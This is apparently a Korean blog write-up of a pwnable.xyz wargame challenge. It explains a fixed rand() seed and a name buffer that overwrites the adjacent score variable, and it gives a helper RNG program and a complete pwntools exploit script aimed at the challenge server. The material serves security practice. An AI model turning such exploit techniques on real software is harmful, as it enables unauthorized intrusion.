main에서 먼저 motd_select_character 함수를 실행한다.
printf("\n\tLet's play a punching game? [Y/n] : ");
if ( getchar() == 'n' )
exit(1);
getchar();
printf("Name: ");
read(0, buf, 0x2CuLL);
printf("Select your character: \n\t1. Goku\n\t2. Saitama\n\t3. Naruto\n\t4. Toriko\n> ");
switch ( getchar() )
{
case 49:
choose_goku();
break;
case 50:
choose_saitama();
break;
case 51:
choose_naruto();
break;
case 52:
choose_toriko();
break;
default:
puts("Invalid");
}
srand(game_t);
printf("Loading");
for ( i = 0; i <= 4; ++i )
{
putchar('.');
sleep(1u);
}
putchar('\n');
fd = open("./flag", 0);
if ( fd == -1 )
{
puts("error");
exit(1);
}
read(fd, flag, 0x80uLL);
close(fd);
|
이름을 최대 0x2C 길이로 입력받아서 buf에 담는다.
choose_* 함수는 game_t 값을 /dev/urandom에서 불러온 랜덤값으로 설정하는 함수다. 캐릭터 선택 후에는 srand로 시드값을 설정한다. 여기서 버그가 생기는데, 만약 1에서 4 외의 값을 입력하면 game_t 값이 초기화되지 않아 seed를 0으로 고정할 수 있다.
마지막으로 플래그를 읽어서 flag에 저장한다.
do
{
while ( 1 )
{
while ( 1 )
{
printf("score: %ld\n", score);
printf("gimmi pawa> ");
n = 0;
r = rand();
_isoc99_scanf("%u", &n);
getchar();
if ( n != r )
break;
puts("draw");
printf("Save? [N/y]");
if ( getchar() == 'y' )
{
printf("Name: ");
len = strlen(buf);
read(0, buf, len);
}
}
if ( n <= r )
break;
++score;
}
}
while ( n >= r );
printf("Sowwy, pleya %s luse, bay bay", buf);
|
매 턴마다 랜덤값 r을 만들고, 유저가 입력한 값 n이 r보다 크면 score를 1 올리며, r보다 작으면 반복문을 종료하고 buf를 출력한다.
만약 n과 r이 같다면 buf의 길이만큼 값을 buf에 새로 쓸 수 있다.
.bss:0000000000202044 ; char buf[44]
.bss:0000000000202044 buf db 2Ch dup(?) ; DATA XREF: motd_select_character+48↑o
.bss:0000000000202044 ; main+BD↑o ...
.bss:0000000000202070 score dq ? ; DATA XREF: main:loc_ECE↑r
.bss:0000000000202070 ; main+EA↑r ...
.bss:0000000000202078 ; char flag[128]
.bss:0000000000202078 flag db 80h dup(?) ; DATA XREF: motd_select_character+146↑o
|
buf와 score, flag의 배치는 위와 같다. motd_select_character에서 buf를 입력받을 때 최대 입력 길이가 0x2C인 점을 주목해야 한다. 만약 44바이트가 꽉 차 있고, score가 1인 상태라면 buf가 가리키는 문자열은 AA...AA\x01로 strlen(buf); 값은 45가 된다. 마지막 바이트를 0xFF로 씀으로 점수를 255로 설정할 수 있다. 255로 설정한 뒤에는 2점을 늘려서 점수를 0x101로 만들 수 있고, 이 때 strlen(buf); 의 값은 46으로 score의 2바이트를 패치할 수 있게 된다.
글로 설명하면 알아보기가 힘드니 아래에 시나리오를 도식화 해봤다.
분홍색으로 칠해진 곳은 draw로 score 값을 바꿀 때 조작 가능한 범위를 나타낸다.
끝에 붙는 0xFF의 개수를 계산하는 게 핵심인데, 재귀적으로 계산해서 추정할 수도 있으나 난 귀찮아서 score 값을 tracing 하면서 NULL 바이트의 위치를 기준으로 payload를 구성하도록 했다.
score의 8바이트를 모두 0이 아닌 값으로 채우고 나면, 일부러 작은 값을 입력해서 반복문을 빠져나와서 buf를 출력시키면 된다.
rng.c
|
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 |
#include <stdio.h>
#include <stdlib.h> int main(int argc, char **argv, char **envp) { if (argc < 2) { printf("Usage: %s [seed]\n", argv[0]); exit(1); } srand(atoi(argv[1])); while (getchar()) { printf("%d\n", rand()); } return 0; } |
exploit.py
|
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30024) else : p = process('./challenge') pr = process(['./rng', '0']) def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def Submit(diff:int=0) : pr.write(b'\n') r = int(pr.read()) p.writelineafter(b'> ', str(r+diff).encode()) def Save(name:bytes) : p.writeafter(b'[N/y]', b'y') p.writeafter(b': ', name) def update_score(score:int) : log_info('score = '+hex(score)) return score def exploit() : p.writelineafter(b': ', b'y') p.writeafter(b': ', b'A'*0x2C) p.writeafter(b'> ', b'5') score = 0 while True : i = 0 Submit(1) score = update_score(score+1) while (score & (0xFF << i*8)) != 0 : i += 1 Submit(0) Save(b'A'*0x2C + b'\xFF'*i) score = update_score(score | ((1 << i*8) - 1)) if score == 0xFFFFFFFFFFFFFFFF : break Submit(1) score = update_score(score+1) p.writelineafter(b'> ', b'0') pr.close() p.interactive() if __name__ == '__main__' : exploit() |
시간 제한이 좀 아슬아슬한 것 같다.
Last update: 4/9/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / password (0) | 2020.04.10 |
---|---|
pwnable.xyz / executioner (0) | 2020.04.09 |
pwnable.xyz / catalog (0) | 2020.04.08 |
pwnable.xyz / PvP (0) | 2020.04.08 |
pwnable.xyz / bookmark (0) | 2020.04.08 |